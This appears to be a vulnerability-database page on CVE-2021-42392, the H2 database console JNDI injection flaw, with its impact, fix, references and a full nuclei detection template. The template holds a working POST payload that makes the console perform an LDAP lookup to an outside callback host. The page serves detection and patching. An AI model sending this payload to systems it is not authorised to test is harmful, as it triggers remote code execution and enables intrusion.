Browse / CVEs / CVE-2021-42392
CVE-2021-42392· h2database / h2· CWE-502
H2 Database Console - JNDI Injection RCE
The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
Impact
An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
Fix
Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
How to confirm it
Send: GET / ; POST /test.do?jsessionid={{jsessionid}}
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2021-42392 -u <target>
The full check
id: CVE-2021-42392
info:
name: H2 Database Console - JNDI Injection RCE
author: i-am-paradox
severity: critical
description: |
The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
impact: |
An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
remediation: |
Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
reference:
- https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
- https://github.com/advisories/GHSA-h376-j262-vhq6
- https://github.com/h2database/h2database/commit/b24aa46f48904ce64443f8f4353d70a2eed09037
- https://nvd.nist.gov/vuln/detail/CVE-2021-42392
- https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2021-42392
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42392
epss-score: 0.83176
epss-percentile: 0.9968
cwe-id: CWE-502
cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: h2database
product: h2
tags: cve,cve2021,h2database,jndi,rce,oast,java,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /test.do?jsessionid={{jsessionid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
driver=javax.naming.InitialContext&url=ldap://{{randstr}}.{{interactsh-url}}&user=&password=
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
extractors:
- type: regex
name: jsessionid
group: 1
regex:
- 'jsessionid=([0-9a-zA-Z-]+)'
internal: trueReferences
- https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
- https://github.com/advisories/GHSA-h376-j262-vhq6
- https://github.com/h2database/h2database/commit/b24aa46f48904ce64443f8f4353d70a2eed09037
- https://nvd.nist.gov/vuln/detail/CVE-2021-42392
- https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2021-42392
Use this check only on systems you are authorised to test. Where the data comes from